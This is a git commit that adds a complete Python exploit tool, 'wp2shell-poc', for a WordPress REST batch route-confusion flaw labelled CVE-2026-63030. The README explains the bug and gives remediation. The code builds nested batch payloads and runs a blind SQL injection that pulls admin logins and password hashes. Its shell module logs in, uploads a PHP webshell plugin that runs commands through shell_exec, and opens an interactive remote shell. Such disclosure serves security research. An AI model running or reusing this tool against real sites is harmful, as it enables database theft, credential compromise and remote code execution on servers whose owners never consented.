This commit is contained in:
Icex0
2026-07-18 00:50:04 +02:00
parent bbdd3e923d
commit 521d0f04c6
11 changed files with 782 additions and 0 deletions
+7
View File
@@ -0,0 +1,7 @@
__pycache__/
*.py[cod]
*.egg-info/
build/
dist/
.venv/
venv/
+21
View File
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2026 wp2shell-poc contributors
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+122
View File
@@ -0,0 +1,122 @@
# wp2shell-poc
Proof-of-concept for an unauthenticated SQL injection in WordPress core that chains to remote
code execution, via REST batch route confusion (CVE-2026-63030).
The exploit needs no credentials and no configuration beyond a reachable target. It reaches the
injection through a single endpoint: `POST /wp-json/batch/v1`.
The finding itself is that unauthenticated SQL injection — `check` confirms it and `read`
demonstrates arbitrary database read. The `shell` command is optional post-exploitation
(recovered admin credentials → plugin upload → command execution), included to demonstrate full
impact; it is not the vulnerability.
## Affected versions
| Branch | Affected | Fixed in |
| ------ | ------------- | -------- |
| 6.9.x | 6.9.0 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 7.0.1 | 7.0.2 |
Versions before 6.9.0 are not affected by this chain.
## How it works
The REST batch endpoint (`/batch/v1`) is unauthenticated and runs several sub-requests in one
call, relying on each sub-request being validated and permission-checked on its own.
`serve_batch_request_v1()` builds two parallel arrays — `$matches` (the matched handler per
sub-request) and `$validation` (the validation result per sub-request) — then indexes both by
the same offset when dispatching. A sub-request whose path fails `wp_parse_url()` is appended to
`$validation` but not to `$matches`, so the arrays fall out of step and a sub-request is
dispatched under a **different** sub-request's handler. That is the route confusion.
The PoC nests the primitive twice:
1. A `POST /wp/v2/posts` request that carries a `requests` body is dispatched under the batch
handler itself. Having been validated as a posts request, its `requests` list is never checked
against the batch schema, so its sub-requests may use `GET` — the method allow-list is
bypassed.
2. Inside that inner batch, a `GET /wp/v2/users` request carrying an `author_exclude` string
(the users schema has no such parameter, so the value passes validation untouched) is
dispatched under posts `get_items()`. There `author_exclude` maps to the `WP_Query`
`author__not_in` query var, which the vulnerable build interpolates into SQL as a string.
The result is a boolean- and time-based blind SQL injection reachable pre-authentication. With
database read access the administrator password hash can be recovered; once cracked, admin access
yields code execution through a plugin upload.
## Requirements
Python 3.8+ and the standard library. No third-party dependencies.
## Usage
Run it from the repository directory:
```
./wp2shell.py <command> <url> [options]
```
Or `pip install .` to get a `wp2shell` command on your `PATH`.
### check — confirm the vulnerability (safe)
Confirms exploitability with a differential time delay. It reads no data and changes nothing.
```
./wp2shell.py check http://target
```
### read — extract data (blind SQL injection)
```
./wp2shell.py read http://target # server fingerprint
./wp2shell.py read http://target --preset users # user logins and password hashes
./wp2shell.py read http://target --query "SELECT @@version"
```
### shell — execute a command (remote code execution)
Optional post-exploitation. Requires valid administrator credentials; the injection recovers the
password *hash*, so supply the recovered plaintext here.
```
./wp2shell.py shell http://target --user admin --password '<recovered>' --cmd id
./wp2shell.py shell http://target --user admin --password '<recovered>' -i # interactive shell
```
`shell` uploads a plugin webshell (locked behind a random path and a per-run token) and prints its
path. Remove it when finished.
## Options
| Option | Applies to | Description |
| ------------------- | ---------- | -------------------------------------------------------------------- |
| `--rest-route` | all | Use `/?rest_route=/batch/v1` (for sites without pretty permalinks). |
| `--proxy URL` | all | Route traffic through an HTTP proxy (for example, Burp). |
| `--timeout N` | all | Request timeout in seconds. |
| `--sleep N` | check | Delay used to confirm the injection. |
| `--preset` | read | `fingerprint` or `users`. |
| `--query` | read | A scalar SQL expression to read. |
| `--prefix` | read | Database table prefix (default `wp_`). |
| `--max-length N` | read | Maximum characters read per value (default 128). |
| `--user` / `--password` | shell | Admin credentials (plaintext, recovered from the hash). |
| `--cmd` | shell | Command to run (omit when using `-i`). |
| `-i` / `--interactive` | shell | Open an interactive shell after deploying. |
## Remediation
Update to WordPress 6.9.5 or 7.0.2. Until then, block both `/wp-json/batch/v1` and the
`rest_route=/batch/v1` query parameter at the edge, or require authentication for the batch
endpoint via the `rest_pre_dispatch` filter.
## Legal
For authorized security testing only. Use it exclusively against systems you own or have explicit
written permission to test. The author accepts no liability for misuse.
## References
- WordPress 7.0.2 release announcement — <https://wordpress.org/news/2026/07/wordpress-7-0-2-release/>
- CVE-2026-63030
+23
View File
@@ -0,0 +1,23 @@
[build-system]
requires = ["setuptools>=61"]
build-backend = "setuptools.build_meta"
[project]
name = "wp2shell-poc"
version = "1.0.0"
description = "PoC for the WordPress REST batch route-confusion SQL injection to RCE chain (CVE-2026-63030)."
readme = "README.md"
requires-python = ">=3.8"
license = { text = "MIT" }
keywords = ["wordpress", "rest-api", "sql-injection", "rce", "security", "cve-2026-63030"]
classifiers = [
"Environment :: Console",
"Intended Audience :: Information Technology",
"Topic :: Security",
]
[project.scripts]
wp2shell = "wp2shell.cli:main"
[tool.setuptools]
packages = ["wp2shell"]
Executable
+9
View File
@@ -0,0 +1,9 @@
#!/usr/bin/env python3
"""Standalone launcher — equivalent to `python3 -m wp2shell`."""
import sys
from wp2shell.cli import main
if __name__ == "__main__":
sys.exit(main())
+3
View File
@@ -0,0 +1,3 @@
"""wp2shell — PoC for the WordPress REST batch route-confusion SQLi/RCE chain (CVE-2026-63030)."""
__version__ = "1.0.0"
+6
View File
@@ -0,0 +1,6 @@
import sys
from .cli import main
if __name__ == "__main__":
sys.exit(main())
+264
View File
@@ -0,0 +1,264 @@
"""Command-line interface."""
from __future__ import annotations
import argparse
import shlex
import sys
from typing import Optional
from . import __version__
from .client import BatchClient
from .shell import AdminSession
from .sqli import BlindSQLi
try:
import readline # noqa: F401 - enables line editing/history for the interactive prompt
except ImportError:
pass
_TTY = sys.stdout.isatty()
def _paint(code: str, text: str) -> str:
return f"\033[{code}m{text}\033[0m" if _TTY else text
def info(msg: str) -> None:
print(f"[*] {msg}")
def good(msg: str) -> None:
print(_paint("32", f"[+] {msg}"))
def bad(msg: str) -> None:
print(_paint("31", f"[-] {msg}"))
def warn(msg: str) -> None:
print(_paint("33", f"[!] {msg}"))
def _progress(text: str) -> None:
# Single updating line on a terminal; suppressed when output is piped or redirected.
if _TTY:
sys.stdout.write("\r\033[K " + text)
sys.stdout.flush()
def _clear_progress() -> None:
if _TTY:
sys.stdout.write("\r\033[K")
sys.stdout.flush()
def _client(args: argparse.Namespace) -> BatchClient:
return BatchClient(
args.url,
timeout=args.timeout,
rest_route=args.rest_route,
proxy=args.proxy,
)
# -- commands ---------------------------------------------------------------
def cmd_check(args: argparse.Namespace) -> int:
# The confirmation request sleeps for --sleep, so the timeout must exceed it.
client = BatchClient(
args.url,
timeout=max(args.timeout, args.sleep + 10),
rest_route=args.rest_route,
proxy=args.proxy,
)
probe = client.probe()
if probe.status != 207:
bad(f"Batch endpoint returned HTTP {probe.status} (not 207) — patched or REST API disabled.")
return 1
good("Batch endpoint reachable and unauthenticated (HTTP 207).")
confirmed, baseline, delayed = BlindSQLi(client, sleep=args.sleep).confirm()
if confirmed:
good(f"VULNERABLE — baseline {baseline:.2f}s, injected {delayed:.2f}s.")
return 0
bad(f"Not vulnerable — baseline {baseline:.2f}s, injected {delayed:.2f}s.")
return 2
def cmd_read(args: argparse.Namespace) -> int:
client = _client(args)
sqli = BlindSQLi(client)
if args.query:
info(f"Reading: {args.query}")
value = sqli.extract(args.query, max_length=args.max_length, on_char=_progress)
_clear_progress()
good(f"Result: {value}")
elif args.preset == "fingerprint":
for label, expr in (
("MySQL version", "SELECT @@version"),
("Database user", "SELECT CURRENT_USER()"),
("Database name", "SELECT DATABASE()"),
):
good(f"{label}: {sqli.extract(expr, max_length=args.max_length)}")
elif args.preset == "users":
table = f"{args.prefix}users"
total = sqli.integer(f"SELECT COUNT(*) FROM {table}")
info(f"{total} user(s) in {table}.")
for offset in range(total):
row = sqli.extract(
f"SELECT CONCAT_WS(0x7c, ID, user_login, user_pass) "
f"FROM {table} ORDER BY ID LIMIT {offset},1",
max_length=args.max_length,
on_char=_progress,
)
_clear_progress()
good(row)
info(f"{sqli.requests} request(s) sent.")
return 0
_CWD_MARK = "__wp2shellcwd__" # shell-metacharacter-free so it survives the remote shell
def _repl(session: AdminSession, path: str) -> None:
"""A minimal interactive prompt piping each line through the webshell.
Commands are stateless server-side, so the working directory is tracked client-side and
re-applied to each command (which makes `cd` behave as expected).
"""
pwd = session.run(path, "pwd")
if pwd is None:
bad("webshell not responding; aborting interactive mode.")
return
cwd = pwd.strip() or "/"
info("Interactive shell — type commands, 'exit' or Ctrl-D to quit.")
while True:
try:
line = input(_paint("36", f"{cwd} $ "))
except (EOFError, KeyboardInterrupt):
print()
return
command = line.strip()
if not command:
continue
if command in ("exit", "quit"):
return
out = session.run(
path, f"cd {shlex.quote(cwd)} 2>/dev/null; {command}; printf '{_CWD_MARK}%s' \"$(pwd)\""
)
if out is None:
bad("no response from webshell")
continue
body, marker, tail = out.rpartition(_CWD_MARK)
if marker:
cwd = tail.strip() or cwd
out = body
out = out.rstrip("\n")
if out:
print(out)
def cmd_shell(args: argparse.Namespace) -> int:
if not args.cmd and not args.interactive:
bad("specify --cmd or --interactive")
return 2
warn("This uploads a plugin containing a webshell to the target.")
session = AdminSession(args.url, timeout=args.timeout, proxy=args.proxy)
info(f"Authenticating as {args.user!r}...")
if not session.login(args.user, args.password):
bad("Login failed. Supply valid admin credentials (crack the hash recovered by 'read').")
return 1
good("Authenticated.")
info("Deploying webshell plugin...")
path = session.deploy_webshell()
good(f"Webshell: {args.url.rstrip('/')}{path}")
rc = 0
if args.cmd:
output = session.run(path, args.cmd)
if output is None:
bad("No output — the upload likely failed (nonce/permissions) or the plugin is not web-served.")
rc = 1
else:
print()
print(output.rstrip("\n"))
print()
if args.interactive:
_repl(session, path)
if not args.keep:
warn(f"Remove the webshell when finished (delete {path} on the target).")
return rc
# -- parser -----------------------------------------------------------------
def _add_common(parser: argparse.ArgumentParser) -> None:
parser.add_argument("url", help="target base URL, e.g. http://target")
parser.add_argument(
"--rest-route",
action="store_true",
help="use /?rest_route=/batch/v1 instead of /wp-json/batch/v1",
)
parser.add_argument("--timeout", type=float, default=30.0, help="request timeout (default: 30)")
parser.add_argument("--proxy", help="HTTP proxy, e.g. http://127.0.0.1:8080")
def build_parser() -> argparse.ArgumentParser:
parser = argparse.ArgumentParser(
prog="wp2shell",
description="WordPress REST batch route-confusion SQLi/RCE PoC (CVE-2026-63030).",
)
parser.add_argument("--version", action="version", version=f"wp2shell {__version__}")
sub = parser.add_subparsers(dest="command", required=True)
check = sub.add_parser("check", help="safely confirm the vulnerability (non-destructive)")
_add_common(check)
check.add_argument("--sleep", type=float, default=3.0, help="confirmation delay (default: 3)")
check.set_defaults(func=cmd_check)
read = sub.add_parser("read", help="read from the database via blind SQL injection")
_add_common(read)
group = read.add_mutually_exclusive_group()
group.add_argument(
"--preset",
choices=("fingerprint", "users"),
default="fingerprint",
help="fingerprint (version/user/db) or users (logins and password hashes)",
)
group.add_argument("--query", help='scalar SQL expression to read, e.g. "SELECT @@version"')
read.add_argument("--prefix", default="wp_", help="database table prefix (default: wp_)")
read.add_argument("--max-length", type=int, default=128, help="max characters per value")
read.set_defaults(func=cmd_read)
shell = sub.add_parser("shell", help="execute a command (requires admin credentials)")
_add_common(shell)
shell.add_argument("--user", required=True, help="admin username")
shell.add_argument("--password", required=True, help="admin password (cracked from the hash)")
shell.add_argument("--cmd", help="command to run on the target (omit when using --interactive)")
shell.add_argument("-i", "--interactive", action="store_true",
help="open an interactive shell after deploying")
shell.add_argument("--keep", action="store_true", help="do not warn about removing the webshell")
shell.set_defaults(func=cmd_shell)
return parser
def main(argv: Optional[list] = None) -> int:
args = build_parser().parse_args(argv)
try:
return args.func(args)
except KeyboardInterrupt:
return 130
except Exception as exc: # noqa: BLE001 - surface a clean message, not a traceback
bad(str(exc))
return 1
+120
View File
@@ -0,0 +1,120 @@
"""HTTP transport and construction of the nested batch route-confusion payloads."""
from __future__ import annotations
import json
import time
import urllib.error
import urllib.parse
import urllib.request
from dataclasses import dataclass
from typing import Any, Optional
# A deliberately malformed path (no host, no port) for which wp_parse_url() returns false.
# The client never dials it; its only job is to seed one WP_Error into the batch's request
# list, which is what desynchronises $matches from $validation so a sub-request is dispatched
# under the following sub-request's handler. Any parse_url()-rejecting string works; "///" is
# used so it cannot be mistaken for a network target.
_DESYNC_PRIMER = {"method": "POST", "path": "///"}
class TargetError(Exception):
"""The target could not be reached (connection refused, DNS failure, timeout)."""
@dataclass
class Response:
status: int
elapsed: float
body: str
def json(self) -> Any:
return json.loads(self.body)
class BatchClient:
"""Sends requests to a target's REST batch endpoint and builds injection payloads."""
def __init__(
self,
base_url: str,
*,
timeout: float = 30.0,
rest_route: bool = False,
proxy: Optional[str] = None,
user_agent: str = "wp2shell",
) -> None:
self.base_url = base_url.rstrip("/")
self.timeout = timeout
self.rest_route = rest_route
self.user_agent = user_agent
handlers = [urllib.request.ProxyHandler({"http": proxy, "https": proxy})] if proxy else []
self._opener = urllib.request.build_opener(*handlers)
@property
def endpoint(self) -> str:
if self.rest_route:
return f"{self.base_url}/?rest_route=/batch/v1"
return f"{self.base_url}/wp-json/batch/v1"
def post(self, payload: dict) -> Response:
request = urllib.request.Request(
self.endpoint,
data=json.dumps(payload).encode(),
method="POST",
headers={"Content-Type": "application/json", "User-Agent": self.user_agent},
)
start = time.monotonic()
try:
resp = self._opener.open(request, timeout=self.timeout)
status, body = resp.status, resp.read().decode("utf-8", "replace")
except urllib.error.HTTPError as exc:
status, body = exc.code, exc.read().decode("utf-8", "replace")
except OSError as exc: # URLError, connection refused, timeout, DNS failure
reason = getattr(exc, "reason", exc)
raise TargetError(f"cannot reach {self.endpoint}: {reason}") from None
return Response(status, time.monotonic() - start, body)
def probe(self) -> Response:
"""A benign empty batch, used to test whether the endpoint is reachable and open."""
return self.post({"requests": []})
def inject(self, author_not_in: str) -> Response:
"""Send a payload placing `author_not_in` into the WP_Query author__not_in clause."""
return self.post(self._payload(author_not_in))
def rows(self, response: Response) -> Optional[list]:
"""Return the inner get_items() result rows from a nested batch response, else None."""
try:
inner = response.json()["responses"][1]["body"]
result = inner["responses"][1]["body"]
except (KeyError, IndexError, TypeError, ValueError):
return None
return result if isinstance(result, list) else None
@staticmethod
def _payload(author_not_in: str) -> dict:
# Inner batch: a users request (whose collection schema has no `author_exclude`, so the
# value passes validation unchanged as a raw string) is desynced onto posts get_items(),
# which maps author_exclude -> WP_Query author__not_in.
inner = {
"requests": [
_DESYNC_PRIMER,
{
"method": "GET",
"path": "/wp/v2/users?author_exclude="
+ urllib.parse.quote(author_not_in, safe=""),
},
{"method": "GET", "path": "/wp/v2/posts"},
]
}
# Outer batch: a posts request carrying the inner batch as its body is desynced onto the
# batch handler itself. Validated as a posts request, its `requests` list is never checked
# against the batch schema, so the inner sub-requests are free to use GET.
return {
"requests": [
_DESYNC_PRIMER,
{"method": "POST", "path": "/wp/v2/posts", "body": inner},
{"method": "POST", "path": "/batch/v1", "body": {"requests": []}},
]
}
+133
View File
@@ -0,0 +1,133 @@
"""Post-authentication code execution: deploy a plugin webshell and run commands.
Remote code execution requires valid administrator credentials. The SQL injection recovers the
administrator password *hash*; the corresponding plaintext (recovered offline) is supplied here.
"""
from __future__ import annotations
import http.cookiejar
import io
import re
import secrets
import urllib.parse
import urllib.request
import uuid
import zipfile
from typing import Dict, Optional, Tuple
_MARKER = "WP2SHELL"
class AdminSession:
"""An authenticated admin session that can deploy a webshell and execute OS commands."""
def __init__(
self,
base_url: str,
*,
timeout: float = 20.0,
proxy: Optional[str] = None,
user_agent: str = "wp2shell",
) -> None:
self.base_url = base_url.rstrip("/")
self.timeout = timeout
# Randomised path + token so the dropped webshell is not a predictable, world-usable RCE.
self._slug = "wp2shell_" + secrets.token_hex(4)
self._token = secrets.token_hex(16)
self._jar = http.cookiejar.CookieJar()
handlers = [urllib.request.HTTPCookieProcessor(self._jar)]
if proxy:
handlers.append(urllib.request.ProxyHandler({"http": proxy, "https": proxy}))
self._opener = urllib.request.build_opener(*handlers)
self._opener.addheaders = [("User-Agent", user_agent)]
def login(self, username: str, password: str) -> bool:
self._get("/wp-login.php") # establish the test cookie
self._post(
"/wp-login.php",
{
"log": username,
"pwd": password,
"wp-submit": "Log In",
"redirect_to": f"{self.base_url}/wp-admin/",
"testcookie": "1",
},
)
return any(c.name.startswith("wordpress_logged_in") for c in self._jar)
def deploy_webshell(self) -> str:
"""Upload the webshell plugin and return its web-reachable path."""
page = self._get("/wp-admin/plugin-install.php?tab=upload")
nonce = self._nonce(page)
if not nonce:
raise RuntimeError("plugin-upload nonce not found (are the credentials valid?)")
body, content_type = self._multipart(
{
"_wpnonce": nonce,
"_wp_http_referer": "/wp-admin/plugin-install.php?tab=upload",
"install-plugin-submit": "Install Now",
},
{"pluginzip": (f"{self._slug}.zip", self._plugin_zip())},
)
self._post("/wp-admin/update.php?action=upload-plugin", body, {"Content-Type": content_type})
return f"/wp-content/plugins/{self._slug}/{self._slug}.php"
def run(self, shell_path: str, command: str) -> Optional[str]:
query = urllib.parse.urlencode({"t": self._token, "c": command})
output = self._get(f"{shell_path}?{query}")
match = re.search(rf"{_MARKER}::(.*?)::END", output, re.S)
return match.group(1) if match else None
# -- helpers ------------------------------------------------------------
def _get(self, path: str) -> str:
return self._opener.open(self.base_url + path, timeout=self.timeout).read().decode(
"utf-8", "replace"
)
def _post(self, path: str, data, headers: Optional[dict] = None) -> str:
if isinstance(data, dict):
data = urllib.parse.urlencode(data).encode()
request = urllib.request.Request(self.base_url + path, data=data, headers=headers or {})
return self._opener.open(request, timeout=self.timeout).read().decode("utf-8", "replace")
def _plugin_zip(self) -> bytes:
# The webshell only runs when the request carries the per-session token.
php = (
"<?php\n"
"/*\nPlugin Name: wp2shell\nDescription: PoC webshell. Delete after testing.\n*/\n"
f"if (hash_equals('{self._token}', (string) ($_GET['t'] ?? '')) && isset($_GET['c'])) {{\n"
f" echo '{_MARKER}::' . shell_exec((string) $_GET['c']) . '::END';\n"
"}\n"
)
buffer = io.BytesIO()
with zipfile.ZipFile(buffer, "w", zipfile.ZIP_DEFLATED) as archive:
archive.writestr(f"{self._slug}/{self._slug}.php", php)
return buffer.getvalue()
@staticmethod
def _nonce(html: str) -> Optional[str]:
# Take the _wpnonce belonging to the plugin-upload form, not the first nonce on the page.
form = re.search(r'action="[^"]*action=upload-plugin".*?name="_wpnonce"[^>]*value="([0-9a-f]+)"',
html, re.S)
if form:
return form.group(1)
tag = re.search(r'<input[^>]*name="_wpnonce"[^>]*value="([0-9a-f]+)"', html)
return tag.group(1) if tag else None
@staticmethod
def _multipart(fields: Dict[str, str], files: Dict[str, Tuple[str, bytes]]) -> Tuple[bytes, str]:
boundary = "----wp2shell" + uuid.uuid4().hex
buffer = io.BytesIO()
for name, value in fields.items():
buffer.write(f"--{boundary}\r\n".encode())
buffer.write(f'Content-Disposition: form-data; name="{name}"\r\n\r\n{value}\r\n'.encode())
for name, (filename, content) in files.items():
buffer.write(f"--{boundary}\r\n".encode())
buffer.write(
f'Content-Disposition: form-data; name="{name}"; filename="{filename}"\r\n'.encode()
)
buffer.write(b"Content-Type: application/octet-stream\r\n\r\n" + content + b"\r\n")
buffer.write(f"--{boundary}--\r\n".encode())
return buffer.getvalue(), f"multipart/form-data; boundary={boundary}"
+74
View File
@@ -0,0 +1,74 @@
"""Blind SQL injection oracles and a string extractor over the route-confusion sink.
The injected value lands inside the query as:
... post_author NOT IN (<value>) ...
so a value of ``0) <sql>-- -`` closes the IN() list and appends arbitrary SQL.
"""
from __future__ import annotations
from typing import Callable, Optional, Tuple
from .client import BatchClient
_MIN_PRINTABLE = 32
_MAX_PRINTABLE = 126
class BlindSQLi:
def __init__(self, client: BatchClient, *, sleep: float = 3.0) -> None:
self.client = client
self.sleep = sleep
self.requests = 0
def confirm(self) -> Tuple[bool, float, float]:
"""Confirm injectability with a differential time delay.
Returns ``(confirmed, baseline_seconds, delayed_seconds)``. This reads no database
content and modifies nothing.
"""
baseline = self._elapsed("SLEEP(0)")
delayed = self._elapsed(f"SLEEP({self.sleep:g})")
confirmed = (delayed - baseline) >= (self.sleep - 1.0)
return confirmed, baseline, delayed
def extract(
self,
expression: str,
*,
max_length: int = 128,
on_char: Optional[Callable[[str], None]] = None,
) -> str:
"""Read a string-valued SQL expression one character at a time (binary search)."""
chars = []
for position in range(1, max_length + 1):
probe = f"ASCII(SUBSTRING(({expression}),{position},1))"
if not self._true(f"{probe} > 0"):
break
low, high = _MIN_PRINTABLE, _MAX_PRINTABLE
while low < high:
mid = (low + high) // 2
if self._true(f"{probe} > {mid}"):
low = mid + 1
else:
high = mid
chars.append(chr(low))
if on_char:
on_char("".join(chars))
return "".join(chars)
def integer(self, expression: str) -> int:
"""Read an integer-valued SQL expression."""
text = self.extract(expression).strip()
return int(text) if text.lstrip("-").isdigit() else 0
def _elapsed(self, sql: str) -> float:
self.requests += 1
return self.client.inject(f"0) OR {sql}-- -").elapsed
def _true(self, condition: str) -> bool:
# get_items() returns rows only when the appended boolean condition holds.
self.requests += 1
return bool(self.client.rows(self.client.inject(f"0) AND ({condition})-- -")))